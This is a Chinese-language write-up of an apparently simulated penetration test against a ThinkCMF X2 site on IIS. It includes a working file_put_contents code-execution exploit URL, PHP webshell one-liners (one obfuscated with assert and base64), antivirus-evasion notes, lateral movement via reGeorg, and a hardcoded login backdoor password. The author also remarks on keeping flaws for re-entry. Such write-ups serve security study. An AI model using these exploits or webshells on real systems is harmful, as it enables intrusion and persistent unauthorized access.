记一次拟真环境的模拟渗透测试
记一次拟真环境的模拟渗透测试
注:此文为虚构,如有雷同实属巧合。
本文仅用于记录,Web打点,内网横向一些很常规化的东西。
目标站:http://vuln_attack/
任务:权限、横向
前·信息收集(踩点)
- 端口开放
- 80 - HTTP
- 3389 - RDP
- 指纹
- ThinkCMF
- PHP/5.6.36
- IIS
- 目录探测(只探测状态码为301、302、200)
- http://vuln_attack:80/admin (后台)
- http://vuln_attack:80/admin/themes/
- http://vuln_attack:80/api
- http://vuln_attack:80/aspnet_client (IIS结构)
- http://vuln_attack:80/data
- http://vuln_attack:80/data/logs/
- http://vuln_attack:80/data/upload/
- http://vuln_attack:80/data/backup/
- http://vuln_attack:80/data/conf/
- /index.html
- /config.php
- /db.php
- http://vuln_attack:80/plugins
- http://vuln_attack:80/public
- http://vuln_attack:80/test (PHPINFO)
- /log.txt
- /0.php
- /1.php
- /00.php
- /01.php
- /02.php
- /03.php
- /04.php
- /05.php
- http://vuln_attack:80/themes
- http://vuln_attack:80/update
- http://vuln_attack:80/application
- http://vuln_attack:80/cust
- http://vuln_attack:80/re (500)
- http://vuln_attack:80/rp (500)
- http://vuln_attack:80/www.rar (网站备份源码)
- http://vuln_attack:80/index.php
- http://vuln_attack:80/license.txt
- http://vuln_attack:80/admin (后台)
- 其他收集 通过下载
www.rar
文件获得网站备份源码获得的信息- 寻找密码
grep -i -r "pwd' => '" ./
结果:- sxxxx3
- rxxxx3
grep -i -r "pass' => '" ./
结果:无grep -i -r "password' => '" ./
结果:无
- 寻找密码
中·渗透打入
ThinkCMFx2 0day Get Webshell
-
已知该系统业务为ThinkCMF,且通过泄露的源码文件中得知版本为x2.0.0
define("SIMPLEWIND_CMF_VERSION", 'X2.0.0');
使用ThinkCMF的GetWebshell的Exp打一波(结果:未成功)
访问
r.php
是404的:但在本地搭建测试的时候是可以写入的(Exploit:
/index.php?xxx=file_put_contents('r.php','<?php%20eval($_REQUEST[r]);')
):思考: a.是否可以写入但被删除 b.exp是否被拦截
-
修改exp为
/index.php?xxx=file_put_contents('1.txt','123')
:写入1.txt
内容为123
结果: 上传成功访问存在,可利用exp写文件
-
修改exp为
/index.php?xxx=file_put_contents('1.php','123')
:写入1.php
内容为123
结果: 上传成功访问存在,可利用exp写PHP文件
-
修改exp为
/index.php?xxx=file_put_contents('1.php','<?php+$a="assert";$a(base64_decode(@$_REQUEST[k]));?>')
简单的写了一个绕过的PHP一句话脚本木马:
<?php $a="assert";$a(base64_decode(@$_REQUEST[k]));?>
结果: 上传成功访问存在,Webshell拿下
-
接下来我们进入后深入阶段。
后·深入
主机信息收集
域环境判断
- net user /domain
查看域内的用户(此处用来判断是否有域环境)
- 结果:此处非域环境
这项请求将在域 WORKGROUP 的域控制器处理。
发生系统错误 1355。
指定的域不存在,或无法联系。
信息收集
- whoami /all
查看当前用户
用户信息
----------------
用户名 SID
================= ========
nt authority\iusr S-1-5-17
组信息
-----------------
组名 类型 SID 属性
==================================== ====== ============ ==============================
Mandatory Label\High Mandatory Level 标签 S-1-16-12288
Everyone 已知组 S-1-1-0 必需的组, 启用于默认, 启用的组
BUILTIN\Users 别名 S-1-5-32-545 必需的组, 启用于默认, 启用的组
NT AUTHORITY\SERVICE 已知组 S-1-5-6 只用于拒绝的组
控制台登录 已知组 S-1-2-1 必需的组, 启用于默认, 启用的组
NT AUTHORITY\Authenticated Users 已知组 S-1-5-11 必需的组, 启用于默认, 启用的组
NT AUTHORITY\This Organization 已知组 S-1-5-15 必需的组, 启用于默认, 启用的组
LOCAL 已知组 S-1-2-0 必需的组, 启用于默认, 启用的组
特权信息
----------------------
特权名 描述 状态
======================= ==================== ======
SeChangeNotifyPrivilege 绕过遍历检查 已启用
SeImpersonatePrivilege 身份验证后模拟客户端 已启用
SeCreateGlobalPrivilege 创建全局对象 已启用
- net user
查看用户
\\ 的用户帐户
-------------------------------------------------------------------------------
Administrator Guest MYSQL_SF_xxxx
命令运行完毕,但发生一个或多个错误。
- net localgroup administrators
查看本地管理员用户
别名 administrators
注释 管理员对计算机/域有不受限制的完全访问权
成员
-------------------------------------------------------------------------------
Administrator
命令成功完成。
- ipconfig /all
查看本机IP、DNS信息、DHCP服务器信息等
- 结果:此处查看发现并不是内网IP段
Windows IP 配置
主机名 . . . . . . . . . . . . . : WIN-xxx
主 DNS 后缀 . . . . . . . . . . . :
节点类型 . . . . . . . . . . . . : 混合
IP 路由已启用 . . . . . . . . . . : 否
WINS 代理已启用 . . . . . . . . . : 否
以太网适配器 xxxx.133:
连接特定的 DNS 后缀 . . . . . . . :
描述. . . . . . . . . . . . . . . : Microsoft Hyper-V 网络适配器
物理地址. . . . . . . . . . . . . : xx-xx-xx-xx-xx-xx
DHCP 已启用 . . . . . . . . . . . : 否
自动配置已启用. . . . . . . . . . : 是
本地链接 IPv6 地址. . . . . . . . : xxx%11(首选)
IPv4 地址 . . . . . . . . . . . . : xxxx.133(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.192
默认网关. . . . . . . . . . . . . : xxxx.190
DHCPv6 IAID . . . . . . . . . . . : 234886493
DHCPv6 客户端 DUID . . . . . . . : xxxx
DNS 服务器 . . . . . . . . . . . : xxxx.151.161
xxxx.156.66
TCPIP 上的 NetBIOS . . . . . . . : 已启用
...
- arp -a
查看arp的缓冲记录(获取存活的IP地址)
ARP缓存是个用来储存IP地址和MAC地址的缓冲区,其本质就是一个IP地址–>MAC地址的对应表,表中每一个条目分别记录了网络上其他主机的IP地址和对应的MAC地址。每一个以太网或令牌环网络适配器都有自己单独的表。
接口: xxxx.133 --- 0xb
Internet 地址 物理地址 类型
xxxx.129 xx-xx-xx-xx-xx-xx 动态
xxxx.135 xx-xx-xx-xx-xx-xx 动态
xxxx.149 xx-xx-xx-xx-xx-xx 动态
xxxx.150 xx-xx-xx-xx-xx-xx 动态
xxxx.168 xx-xx-xx-xx-xx-xx 动态
xxxx.190 xx-xx-xx-xx-xx-xx 动态
xxxx.191 xx-xx-xx-xx-xx-xx 静态
...
- tasklist
查看系统任务进程
- 结果:发现存在SafeDog安全防护软件
tasklist
映像名称 PID 会话名 会话# 内存使用
========================= ======== ================ =========== ============
System Idle Process 0 0 24 K
System 4 0 5,184 K
smss.exe 288 0 1,156 K
mysqld.exe 1396 0 839,672 K
SafeDogGuardHelper.exe 6476 2 18,220 K
SafeDogGuardHelper.exe 9536 2 11,748 K
...
主机提权
- systeminfo
查看系统信息
主机名: WIN-xxxx
OS 名称: Microsoft Windows Server 2008 R2 Datacenter
OS 版本: 6.1.7601 Service Pack 1 Build 7601
OS 制造商: Microsoft Corporation
OS 配置: 独立服务器
OS 构件类型: Multiprocessor Free
注册的所有人: Windows 用户
注册的组织:
产品 ID: xxxx
初始安装日期: 2018/5/9, 22:50:59
系统启动时间: 2018/8/31, 9:38:26
系统制造商: Microsoft Corporation
系统型号: Virtual Machine
系统类型: x64-based PC
处理器: 安装了 1 个处理器。
[01]: Intel64 Family 6 Model 63 Stepping 2 GenuineIntel ~2500 Mhz
BIOS 版本: American Megatrends Inc. 090006 , 2012/5/23
Windows 目录: C:\Windows
系统目录: C:\Windows\system32
启动设备: \Device\HarddiskVolume1
系统区域设置: zh-cn;中文(中国)
输入法区域设置: zh-cn;中文(中国)
时区: (UTC+08:00) 北京,重庆,香港特别行政区,乌鲁木齐
物理内存总量: 8,192 MB
可用的物理内存: 4,779 MB
虚拟内存: 最大值: 16,381 MB
虚拟内存: 可用: 12,977 MB
虚拟内存: 使用中: 3,404 MB
页面文件位置: C:\pagefile.sys
域: WORKGROUP
登录服务器: 暂缺
修补程序: 暂缺
网卡: 安装了 1 个 NIC。
[01]: Microsoft Hyper-V 网络适配器
连接名: xxxx.133
启用 DHCP: 否
IP 地址
[01]: xxxx.133
[02]: xxxxx
根据获取的系统信息判断可使用的提权Exploit,尝试上传提权Exploit,运行即被杀:
C:\APP\www\>exp.exe
'exp.exe' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
通过之前的信息收集知道存在”安全狗”防护软件,发现被杀的Exp都存放在C:\SafeDogRecycle\
目录下,文件被随机命名:
C:\SafeDogRecycle 的目录
<DIR> .
<DIR> ..
02ebe5a9-1abf-4f85-839c-2b74deebb02f
...
后经测试发现将Exploit存在C:\SafeDogRecycle\
目录部分行为并不会被杀,但敏感行为还是会被Kill掉。
本地搭建服务器安全狗,利用修改特征码的方式进行免杀,但即使Bypass了安全狗,Exploit也无法执行,补丁已经打上了。
利用收集到的口令进行字典的整合,猜测管理员密码也无解~
结果: 提权失败
横向
地址:
xxxx.129
xxxx.135
xxxx.149
xxxx.150
xxxx.168
xxxx.190
xxxx.191
端口扫描仅仅发现xxxx.129
、 xxxx.135
存在着服务
xxxx.135
访问该站点发现其为IIS8.5
经探测并无什么有价值性的东西。
xxxx.129
访问该站点发现到了其他的一个站点,这个站点也为ThinkCMFX2,使用上文所述方法拿下WebShell。
环境: Linux
内核: Linux izbp15gn5pyr1s5tlc45h0z 3.10.0-693.2.2.el7.x86_64
权限: www
网络环境: 内网
经过测试发现本机用户权限真的很低,gcc
之类的操作都没权限进行,尝试使用suid提权也无果,就连反弹个shell都提示bash: /bin/sh: Permission denied
,醉了~
放弃提权,reGeorg+Proxifier 代理进内网撸一波~
结果:发现一个内网主机存活,ThinkCMFX2又撸下来了
终·其他缺陷
对发现的其他安全缺陷做记录是一件很有必要的事情,为防止单个漏洞被修复,也为了下次更好的“进来”。
前台登录万能密码后门
文件/application/Cust/Controller/LoginController.class.php
第214行:
在做登录验证的时候有一个条件:$password=='xxxx@123'
,前台登录只需要满足密码等于xxxx@123
即可实现任意用户的登录。
总结
文章比较常规,总结一句话就是:渗透的前期信息打点很重要,信息的收集要做到细致,就像你看某小电影一样每个高潮的细节都不会放过~